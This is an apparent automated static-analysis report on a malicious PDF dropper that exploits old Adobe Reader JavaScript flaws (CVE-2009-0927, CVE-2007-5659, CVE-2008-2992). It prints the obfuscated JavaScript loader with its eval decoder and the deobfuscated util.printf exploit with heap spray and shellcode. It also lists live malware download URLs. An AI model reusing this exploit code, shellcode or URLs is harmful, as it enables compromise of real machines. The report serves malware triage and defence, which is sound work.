Malicious PDF — malware analysis report

Static analysis result for SHA-256 c346b91f74af9c95…

MALICIOUS

PDF

7.1 KB Created: 2009-09-11 19:46:58 Authoring application: Eblasha 8.8.5.4 (via PDF Library 10.8.1.8) First seen: 2012-07-12
MD5: c8320733fac0060073a54c17a77d0ebd SHA-1: 264ad76704a9d4e9cf1cf78ad278a0e13a09f5c8 SHA-256: c346b91f74af9c95d835a71b0f5e8afa86c7de748a52522ed91b36dbb4b8b0cc
606 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF was flagged by ML classifiers and ClamAV as malicious (Pdf.Dropper.Agent-1828907). It contains embedded JavaScript, including an eval() call and fromCharCode usage, indicating obfuscation. This script is likely responsible for downloading and executing a second-stage payload, a common dropper behavior.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 14

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Pdf.Dropper.Agent-1828907 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-1828907
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    for (var cgkltx=0, klmty='';cgkltx<5364;cgkltx++){klmty += String.fromCharCode(fra[cgkltx]-'eFikopv'.substring(cgkltx%'eFikopv'.length,cgkltx%'eFikopv'.length+1).charCodeAt(0));}eval(klmty);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • ASCII85Decode filter (with exploit indicators) low PDF_FILTER_85
    ASCII85 encoding filter present alongside exploit delivery indicators — uncommon outside of obfuscation
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://poavlonini.com/forum/abfghnsu3.exe Referenced by PDF JavaScript
    • http://poavlonini.com/forum/abfpy3.exeReferenced by PDF JavaScript
    • http://poavlonini.com/forum/chknosw3.exeReferenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_000.js pdf-javascript-stream PDF /JS object 13 at offset 0x36B 21463 bytes
SHA-256: 8cb1b529f8fd70a3aae351745f2bb8f6467ece90e5888d86f48f2864ce925988
Preview script
First 1,000 lines of the extracted script
var fra=[203,187,215,206,227,217,229,211,102,207,212,231,207,223,217,110,226,204,225,227,230,145,178,206,217,152,235,237,205,175,213,208,151,233,215,215,185,217,153,219,213,228,204,186,209,149,161,172,226,202,180,146,230,232,209,232,216,182,148,168,232,209,232,216,182,164,232,121,233,215,215,185,217,168,232,209,232,216,182,151,222,228,210,233,217,184,210,217,214,152,166,145,178,206,217,158,162,159,160,184,206,223,228,226,228,133,191,202,221,226,224,177,226,80,207,224,221,211,234,206,181,215,139,228,228,223,209,165,217,221,216,222,234,203,110,146,230,229,209,232,133,182,202,228,219,223,215,201,131,222,217,212,227,217,198,182,206,147,145,149,235,155,122,162,155,148,229,167,157,135,154,144,228,160,166,149,118,142,224,167,178,166,149,107,222,158,159,164,166,138,187,157,155,167,178,155,218,126,171,160,163,149,235,149,122,157,155,148,229,170,149,126,171,144,228,168,184,149,122,142,224,159,164,170,149,107,222,157,159,160,186,138,187,155,155,159,160,155,218,121,173,155,159,149,235,149,118,160,174,148,229,166,149,125,160,144,228,160,167,156,122,142,224,162,163,185,152,107,222,161,163,179,166,138,187,157,155,167,178,155,218,125,161,158,159,149,235,157,136,153,174,148,229,166,168,122,153,144,228,167,166,157,136,142,224,176,180,167,168,107,222,160,167,168,184,138,187,174,173,159,168,155,218,126,171,155,168,149,235,152,122,157,155,148,229,170,149,126,173,144,228,168,184,156,137,142,224,162,179,171,157,107,222,159,163,166,183,138,187,173,156,164,177,155,218,120,171,176,161,149,235,157,136,174,157,148,229,187,167,139,172,144,228,165,183,153,140,142,224,167,163,171,151,107,222,160,165,181,183,138,187,158,160,167,169,155,218,123,159,155,163,149,235,157,136,158,162,148,229,169,168,125,156,144,228,167,170,157,136,142,224,166,168,169,152,107,222,177,162,160,169,138,187,161,173,164,166,155,218,120,153,162,165,149,235,171,121,153,158,148,229,185,158,121,156,144,228,165,166,153,127,142,224,176,180,170,150,107,222,177,181,163,169,138,187,153,177,162,166,155,218,119,157,173,180,149,235,152,126,153,158,148,229,173,153,140,155,144,228,179,167,149,126,142,224,159,180,185,171,107,222,177,176,160,169,138,187,174,173,163,160,155,218,123,161,176,181,149,235,171,126,156,173,148,229,187,154,125,158,144,228,168,184,154,139,142,224,161,164,170,155,107,222,174,162,160,169,138,187,161,173,165,166,155,218,122,161,155,178,149,235,154,124,161,173,148,229,166,152,119,172,144,228,168,184,169,121,142,224,167,177,166,153,107,222,174,162,160,169,138,187,158,176,164,182,155,218,137,156,160,159,149,235,156,138,161,175,148,229,171,156,118,161,144,228,178,174,154,120,142,224,178,177,169,152,107,222,160,177,168,183,138,187,170,157,180,168,155,218,140,175,177,181,149,235,152,120,175,177,148,229,174,167,137,153,144,228,182,168,171,125,142,224,163,182,183,170,107,222,162,164,178,174,138,187,159,160,161,181,155,218,135,171,162,167,149,235,158,126,159,161,148,229,183,167,124,159,144,228,179,166,152,121,142,224,165,161,184,157,107,222,155,159,166,170,138,187,158,155,159,160,155,218,123,157,161,167,149,235,156,120,159,163,148,229,169,154,124,158,144,228,161,185,151,122,142,224,166,164,172,158,107,222,160,163,165,166,138,187,171,163,164,163,155,218,140,172,172,176,149,235,156,137,153,175,148,229,171,154,140,175,144,228,168,184,149,122,142,224,167,163,188,157,107,222,155,178,179,170,138,187,159,174,177,160,155,218,139,153,163,176,149,235,154,118,162,163,148,229,172,171,124,161,144,228,162,187,155,139,142,224,165,168,172,153,107,222,162,161,167,171,138,187,159,175,165,179,155,218,136,161,160,163,149,235,153,139,161,176,148,229,187,168,118,174,144,228,165,171,171,140,142,224,168,163,166,153,107,222,158,162,165,166,138,187,158,155,178,160,155,218,123,159,160,159,149,235,154,123,161,173,148,229,174,152,118,157,144,228,167,188,168,120,142,224,178,162,174,152,107,222,160,161,164,185,138,187,171,163,164,160,155,218,119,170,158,165,149,235,156,118,155,177,148,229,171,154,140,175,144,228,165,184,149,122,142,224,164,166,171,156,107,222,164,167,178,174,138,187,161,172,181,181,155,218,140,175,155,180,149,235,149,122,158,160,148,229,166,149,124,170,144,228,180,173,171,140,142,224,166,164,172,157,107,222,162,159,167,170,138,187,155,177,162,177,155,218,125,153,157,181,149,235,155,119,159,177,148,229,172,168,125,159,144,228,166,187,155,140,142,224,165,181,172,158,107,222,157,180,166,175,138,187,159,177,165,163,155,218,120,175,161,179,149,235,155,140,159,161,148,229,173,154,125,155,144,228,162,188,155,138,142,224,165,162,172,150,107,222,161,166,166,172,138,187,159,176,165,168,155,218,125,158,162,162,149,235,151,139,156,158,148,229,173,157,124,158,144,228,160,166,155,123,139,148,170,230,215,215,102,215,218,223,173,235,211,171,220,206,208,224,219,141,104,142,224,159,177,166,166,107,222,155,176,160,183,138,187,153,172,159,177,155,218,118,170,155,176,146,159,111,188,202,221,143,216,219,198,182,203,215,222,211,225,162,180,216,219,154,224,215,222,178,216,204,211,171,236,198,184,137,205,216,215,216,209,181,204,214,172,229,228,202,185,204,204,223,213,158,135,107,222,155,176,160,183,138,187,153,172,159,177,152,142,129,223,204,225,144,222,202,167,205,208,225,227,223,223,171,166,157,159,171,236,198,184,137,222,223,226,215,222,131,209,208,208,212,219,215,185,210,229,212,155,222,202,167,217,205,219,223,217,208,116,213,208,221,215,234,205,129,224,211,216,220,219,141,168,210,210,209,220,229,200,177,151,215,212,222,221,217,174,165,222,223,226,215,222,111,228,205,216,215,216,209,181,204,214,154,173,216,206,173,203,215,222,211,225,160,195,115,225,208,226,150,203,175,213,215,209,220,229,200,177,166,205,216,215,216,209,181,204,214,157,227,235,199,185,221,221,216,222,221,141,118,149,222,223,226,215,222,111,164,225,208,226,150,199,178,216,206,218,173,216,206,173,203,215,222,211,225,147,185,222,205,226,228,232,206,180,208,147,159,156,216,206,173,203,215,222,211,225,147,178,206,217,214,228,222,146,185,217,221,208,233,159,160,189,209,212,219,213,158,199,178,216,206,218,158,226,202,180,208,223,215,155,233,213,184,202,228,171,160,238,153,118,153,155,159,153,241,199,178,216,206,218,173,216,209,181,204,214,154,210,226,212,169,212,150,213,217,226,209,168,213,218,210,219,177,226,80,223,204,225,144,227,202,179,200,204,225,226,215,222,131,215,208,230,144,183,215,184,202,228,151,153,177,203,181,219,147,229,209,232,133,175,166,155,170,217,178,150,122,153,155,170,217,161,144,111,228,216,212,221,213,198,184,219,204,232,203,223,194,131,203,215,222,211,225,144,174,206,204,223,210,226,212,169,212,166,236,122,236,198,184,137,217,228,221,179,150,120,162,164,168,169,175,158,127,162,164,168,169,175,158,127,162,164,168,169,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,161,163,167,168,174,157,126,164,224,227,217,226,147,182,219,212,221,228,220,141,104,142,159,164,160,166,149,172,139,151,221,229,227,142,129,230,117,213,229,228,200,186,210,218,221,144,217,212,178,213,204,209,207,219,210,167,210,215,151,153,241,219,167,219,139,226,216,219,209,178,204,218,211,213,179,218,180,206,222,210,209,230,202,110,139,144,228,166,170,158,118,142,224,160,168,183,150,107,222,155,159,160,166,138,187,161,173,159,160,155,218,121,153,159,159,149,235,153,118,161,173,148,229,174,167,123,157,144,228,160,170,153,118,142,224,163,160,174,167,107,222,163,177,160,170,138,187,153,159,163,160,155,218,120,153,155,179,149,235,151,118,153,155,148,229,169,169,118,153,144,228,160,166,156,137,142,224,159,160,173,156,107,222,155,160,167,170,138,187,156,158,178,163,155,218,124,157,174,159,149,235,153,118,161,173,148,229,173,157,121,153,144,228,168,184,149,137,142,224,159,179,170,149,107,222,162,159,168,184,138,187,170,175,160,179,155,218,123,161,163,177,149,235,170,136,153,163,148,229,174,167,118,162,144,228,163,170,153,118,142,224,163,160,174,169,107,222,163,177,167,185,138,187,156,174,164,168,155,218,122,157,161,176,149,235,169,119,158,172,148,229,168,167,139,155,144,228,168,184,170,120,142,224,180,178,187,168,107,222,160,176,164,188,138,187,161,158,164,162,155,218,123,159,176,176,149,235,154,123,161,164,148,229,171,155,118,157,144,228,168,184,154,125,142,224,162,179,173,152,107,222,162,163,168,184,138,187,160,163,162,163,155,218,140,156,155,162,149,235,157,136,158,161,148,229,168,149,125,159,144,228,182,169,149,121,142,224,178,169,169,152,107,222,160,159,164,175,138,187,170,175,163,161,155,218,140,175,158,162,149,235,149,140,156,161,148,229,167,153,136,174,144,228,163,174,149,121,142,224,166,164,188,151,107,222,174,160,160,174,138,187,153,175,178,182,155,218,140,170,155,162,149,235,170,136,157,155,148,229,171,157,139,175,144,228,182,174,152,136,142,224,180,165,173,154,107,222,163,177,165,187,138,187,155,159,163,166,155,218,137,156,155,162,149,235,157,136,159,161,148,229,170,157,118,172,144,228,165,172,157,136,142,224,159,163,167,168,107,222,163,177,180,169,138,187,161,172,159,164,155,218,137,156,155,162,149,235,154,139,158,177,148,229,185,152,123,153,144,228,167,186,157,138,142,224,164,167,166,157,107,222,173,167,165,168,138,187,172,172,162,163,155,218,123,171,163,176,149,235,166,120,174,163,148,229,188,171,140,175,144,228,163,168,171,140,142,224,167,178,185,149,107,222,177,161,182,173,138,187,157,177,176,181,155,218,125,158,173,167,149,235,155,123,155,176,148,229,183,167,125,161,144,228,169,174,155,124,142,224,176,178,172,155,107,222,174,159,163,169,138,187,159,156,177,168,155,218,118,153,161,163,149,235,154,118,153,155,148,229,171,153,124,161,144,228,167,168,155,126,142,224,162,165,172,154,107,222,156,178,162,170,138,187,160,159,165,169,155,218,123,157,160,159,149,235,167,126,158,158,148,229,188,168,135,170,144,228,167,185,149,138,142,224,164,165,188,171,107,222,163,177,160,170,138,187,161,158,181,168,155,218,118,172,174,163,149,235,155,137,171,155,148,229,187,149,126,170,144,228,165,166,158,126,142,224,165,182,172,157,107,222,157,180,166,187,138,187,159,163,165,164,155,218,125,155,162,164,149,235,155,138,159,174,148,229,184,157,123,157,144,228,164,187,157,139,142,224,180,179,166,170,107,222,160,164,182,188,138,187,162,158,159,164,155,218,121,156,160,159,149,235,154,118,172,155,148,229,171,155,123,153,144,228,165,171,157,136,142,224,167,163,166,153,107,222,162,181,179,168,138,187,172,157,167,163,155,218,123,155,159,178,149,235,167,126,158,155,148,229,167,166,121,159,144,228,167,166,151,140,142,224,164,165,188,171,107,222,160,177,160,170,138,187,158,161,164,167,155,218,127,161,173,167,149,235,157,135,175,176,148,229,188,171,118,174,144,228,160,170,154,123,142,224,159,160,172,166,107,222,175,166,182,188,138,187,160,159,165,168,155,218,125,153,162,163,149,235,151,140,156,172,148,229,173,149,120,175,144,228,166,167,155,140,142,224,165,179,173,155,107,222,161,180,166,188,138,187,159,176,165,169,155,218,120,174,161,168,149,235,155,140,159,158,148,229,168,171,124,173,144,228,166,188,155,124,142,224,166,165,173,151,107,222,157,181,166,186,138,187,159,157,165,161,155,218,125,153,161,165,149,235,152,121,160,164,148,229,172,154,120,174,144,228,166,171,156,126,142,224,159,160,166,149,104,146,166,229,209,232,133,179,206,216,206,209,232,215,167,226,168,221,213,237,133,135,219,221,208,233,158,142,129,223,204,225,144,217,200,131,153,227,159,211,166,200,118,204,155,210,171,236,198,184,137,204,211,212,232,162,118,225,159,159,160,166,149,118,164,225,208,226,150,216,169,200,215,212,222,179,216,174,206,215,219,211,229,201,171,151,215,212,222,221,217,174,147,157,170,230,215,215,102,213,208,221,173,215,201,170,219,152,151,227,217,196,178,206,217,154,160,238,152,126,146,166,229,209,232,133,191,202,221,226,224,179,218,180,206,222,210,209,230,202,110,139,144,228,169,166,158,118,142,224,168,160,175,149,104,146,166,232,209,232,216,182,166,209,216,232,213,206,186,145,228,208,226,233,213,114,213,208,221,153,177,219,167,219,139,210,223,235,211,186,155,168,151,211,217,146,118,225,159,159,160,166,149,118,146,154,208,212,218,215,129,207,218,225,152,236,198,184,137,206,222,229,228,217,131,153,166,210,223,235,211,186,165,206,222,229,228,217,120,164,206,222,229,228,217,113,148,148,234,221,219,210,165,202,221,225,209,239,192,169,216,224,221,228,211,162,191,202,221,226,224,161,216,174,206,215,219,211,229,201,171,164,232,121,230,215,215,102,216,225,212,226,220,209,181,224,168,228,222,219,216,169,202,219,212,152,152,138,187,153,206,159,211,155,218,118,204,155,210,146,159,160,189,209,212,219,213,158,212,188,206,221,213,220,229,220,116,213,208,221,215,234,205,130,157,159,168,165,168,142,193,216,225,212,226,220,209,181,224,150,172,223,236,202,184,207,215,222,231,177,226,80,221,211,216,227,164,200,181,213,215,208,210,201,217,181,219,208,172,179,229,209,178,202,205,157,211,229,209,178,206,206,227,181,227,198,175,213,180,221,214,229,141,193,220,224,209,218,176,135,104,149,216,226,215,176,212,188,206,221,213,220,229,220,195,146,166,236,122,220,218,180,204,223,216,223,228,133,169,216,215,219,209,216,196,173,206,223,216,211,229,211,110,146,230,216,214,158,198,182,217,153,211,223,217,147,137,216,215,219,209,216,147,173,206,223,184,211,229,211,111,228,225,208,226,150,198,184,219,228,172,222,219,220,102,170,221,225,209,239,141,111,164,225,208,226,150,219,188,217,208,227,216,239,198,131,222,217,212,227,217,198,182,206,147,145,149,235,155,122,162,155,148,229,167,157,135,154,144,228,160,166,149,118,142,224,167,178,166,149,107,222,158,159,164,166,138,187,157,155,167,178,155,218,126,171,160,163,149,235,149,122,157,155,148,229,170,149,126,171,144,228,168,184,149,122,142,224,159,164,170,149,107,222,157,159,160,186,138,187,155,155,159,160,155,218,121,173,155,159,149,235,149,118,160,174,148,229,166,149,125,160,144,228,160,167,156,122,142,224,162,163,185,152,107,222,161,163,179,166,138,187,157,155,167,178,155,218,125,161,158,159,149,235,157,136,153,174,148,229,166,168,122,153,144,228,167,166,157,136,142,224,176,180,167,168,107,222,160,167,168,184,138,187,174,173,159,168,155,218,126,171,155,168,149,235,152,122,157,155,148,229,170,149,126,173,144,228,168,184,156,137,142,224,162,179,171,157,107,222,159,163,166,183,138,187,173,156,164,177,155,218,120,171,176,161,149,235,157,136,174,157,148,229,187,167,139,172,144,228,165,183,153,140,142,224,167,163,171,151,107,222,160,165,181,183,138,187,158,160,167,169,155,218,123,159,155,163,149,235,157,136,158,162,148,229,169,168,125,156,144,228,167,170,157,136,142,224,166,168,169,152,107,222,177,162,160,169,138,187,161,173,164,166,155,218,120,153,162,165,149,235,171,121,153,158,148,229,185,158,121,156,144,228,165,166,153,127,142,224,176,180,170,150,107,222,177,181,163,169,138,187,153,177,162,166,155,218,119,157,173,180,149,235,152,126,153,158,148,229,173,153,140,155,144,228,179,167,149,126,142,224,159,180,185,171,107,222,177,176,160,169,138,187,174,173,163,160,155,218,123,161,176,181,149,235,171,126,156,173,148,229,187,154,125,158,144,228,168,184,154,139,142,224,161,164,170,155,107,222,174,162,160,169,138,187,161,173,165,166,155,218,122,161,155,178,149,235,154,124,161,173,148,229,166,152,119,172,144,228,168,184,169,121,142,224,167,177,166,153,107,222,174,162,160,169,138,187,158,176,164,182,155,218,137,156,160,159,149,235,156,138,161,175,148,229,171,156,118,161,144,228,178,174,154,120,142,224,178,177,169,152,107,222,160,177,168,183,138,187,170,157,180,168,155,218,140,175,177,181,149,235,152,120,175,177,148,229,174,167,137,153,144,228,182,168,171,125,142,224,163,182,183,170,107,222,162,164,178,174,138,187,159,160,161,181,155,218,135,171,162,167,149,235,158,126,159,161,148,229,183,167,124,159,144,228,179,166,152,121,142,224,165,161,184,157,107,222,155,159,166,170,138,187,158,155,159,160,155,218,123,157,161,167,149,235,156,120,159,163,148,229,169,154,124,158,144,228,161,185,151,122,142,224,166,164,172,158,107,222,160,163,165,166,138,187,171,163,164,163,155,218,140,172,172,176,149,235,156,137,153,175,148,229,171,154,140,175,144,228,168,184,149,122,142,224,167,163,188,157,107,222,155,178,179,170,138,187,159,174,177,160,155,218,139,153,163,176,149,235,154,118,162,163,148,229,172,171,124,161,144,228,162,187,155,139,142,224,165,168,172,153,107,222,162,161,167,171,138,187,159,175,165,179,155,218,136,161,160,163,149,235,153,139,161,176,148,229,187,168,118,174,144,228,165,171,171,140,142,224,168,163,166,153,107,222,158,162,165,166,138,187,158,155,178,160,155,218,123,159,160,159,149,235,154,123,161,173,148,229,174,152,118,157,144,228,167,188,168,120,142,224,178,162,174,152,107,222,160,161,164,185,138,187,171,163,164,160,155,218,119,170,158,165,149,235,156,118,155,177,148,229,171,154,140,175,144,228,165,184,149,122,142,224,164,166,171,156,107,222,164,167,178,174,138,187,161,172,181,181,155,218,140,175,155,180,149,235,149,122,158,160,148,229,166,149,124,170,144,228,180,173,171,140,142,224,166,164,172,157,107,222,162,159,167,170,138,187,155,177,162,177,155,218,125,153,157,181,149,235,155,119,159,177,148,229,172,168,125,159,144,228,166,187,155,140,142,224,165,181,172,158,107,222,157,180,166,175,138,187,159,177,165,163,155,218,120,175,161,179,149,235,155,140,159,161,148,229,173,154,125,155,144,228,162,188,155,138,142,224,165,168,172,152,107,222,161,180,166,184,138,187,160,158,165,182,155,218,121,156,162,166,149,235,155,123,155,176,148,229,172,154,125,161,144,228,160,166,149,118,139,148,170,230,215,215,102,209,194,224,165,166,149,137,183,168,229,230,230,202,186,209,228,208,158,226,202,180,208,223,215,154,168,160,188,202,221,143,220,219,211,131,153,227,163,160,166,149,118,153,152,151,216,205,214,123,153,155,178,190,161,149,190,156,163,152,171,236,198,184,137,228,208,226,233,213,131,222,217,212,227,217,198,182,206,147,145,149,235,158,118,162,155,148,229,175,149,127,153,141,152,171,239,198,184,220,219,172,214,223,221,165,210,223,151,233,215,215,185,217,151,219,213,228,142,129,223,204,225,144,230,154,135,211,182,165,165,220,162,110,153,227,159,211,166,200,118,204,155,210,157,166,221,122,153,155,159,160,166,142,117,153,227,163,160,166,149,118,153,166,213,223,232,141,188,202,221,143,230,231,200,151,173,164,165,233,179,149,129,223,220,210,193,186,158,124,226,167,223,165,183,207,145,159,160,213,171,236,214,169,186,175,168,166,239,144,113,146,230,208,226,232,222,161,223,220,210,193,186,158,124,226,200,172,233,215,215,185,217,150,229,230,230,202,186,209,228,208,171,243,111,188,202,221,143,228,203,178,174,183,205,182,231,179,218,180,206,222,210,209,230,202,110,139,144,159,169,152,142,129,224,211,216,220,219,141,186,190,184,215,190,216,172,189,151,215,212,222,221,217,174,165,155,231,164,166,149,118,146,230,227,197,195,205,148,203,178,230,155,179,217,155,182,211,189,210,189,220,129,230,117,227,197,195,205,148,203,178,230,173,152,179,116,139,150,227,197,195,205,148,203,178,230,171,215,213,182,151,207,222,211,164,168,181,213,215,208,210,164,204,171,221,180,210,223,228,141,186,190,184,215,190,216,172,189,146,166,236,237,128,203,187,215,206,227,217,229,211,102,217,207,213,207,233,217,167,219,223,151,153,241,219,167,219,139,229,213,232,216,175,216,217,172,209,230,213,116,223,212,212,231,219,215,156,206,221,226,217,229,211,116,221,218,194,228,232,206,180,208,147,152,171,236,202,184,220,212,222,222,179,219,171,219,222,216,223,228,147,184,206,219,219,209,217,202,110,152,199,179,159,221,145,109,144,148,170,230,215,215,102,223,204,225,227,223,212,180,200,204,225,226,215,222,131,215,208,230,144,183,215,184,202,228,151,230,219,215,185,210,218,221,158,217,205,167,219,172,227,152,166,142,114,223,208,225,227,223,212,180,151,206,215,209,232,166,186,145,156,152,156,236,202,184,220,212,222,222,164,200,174,202,221,176,228,158,151,111,146,166,216,214,158,141,188,202,221,226,217,229,211,165,202,221,225,209,239,192,118,198,168,172,168,159,139,108,145,225,208,226,233,206,181,215,202,208,226,232,198,191,196,156,204,173,179,149,111,229,231,151,230,215,215,185,210,218,221,207,215,215,184,202,228,202,161,211,162,131,154,145,149,230,215,215,185,210,218,221,207,215,215,184,202,228,202,162,211,161,121,146,148,234,229,234,206,178,200,219,225,217,228,217,172,145,148,170,237,128,206,172,145,147,229,209,232,216,175,216,217,206,209,232,215,167,226,198,159,205,178,157,111,229,231,151,230,215,215,185,210,218,221,207,215,215,184,202,228,202,160,211,162,131,161,145,149,230,215,215,185,210,218,221,207,215,215,184,202,228,202,161,211,161,120,143,145,229,209,232,216,175,216,217,206,209,232,215,167,226,198,161,205,178,151,111,146,230,210,223,226,209,167,203,202,212,221,215,206,178,145,148,170,237,128,206,172,145,147,229,209,232,216,175,216,217,206,209,232,215,167,226,198,159,205,178,158,111,229,231,151,230,215,215,185,210,218,221,207,215,215,184,202,228,202,160,211,162,131,162,145,149,230,215,215,185,210,218,221,207,215,215,184,202,228,202,161,211,161,119,146,148,234,211,229,209,178,202,205,206,215,219,217,175,204,218,221,152,159,160,195,230,117,223,212,220,196,185,221,204,225,228,158,142,129];
javascript_obj0015_001.js pdf-javascript-stream PDF /JS object 15 at offset 0x1864 190 bytes
SHA-256: 0eb431c920a0cef6e14256c95de618ee2738cb2df802f564868fd78d37f5ebb1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
for (var cgkltx=0, klmty='';cgkltx<5364;cgkltx++){klmty += String.fromCharCode(fra[cgkltx]-'eFikopv'.substring(cgkltx%'eFikopv'.length,cgkltx%'eFikopv'.length+1).charCodeAt(0));}eval(klmty);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery numeric-array-minus-key from combined JavaScript objects at offset 0x36B 5364 bytes
SHA-256: ac0af9aea593ce30bfb647a993c5a69489f557be63c2116cbef89145f22cbd51
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u702F%u616F%u6C76%u6E6F%u6E69%u2E69%u6F63%u2F6D%u6F66%u7572%u2F6D%u6261%u6766%u6E68%u7573%u2E33%u7865%u0065");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
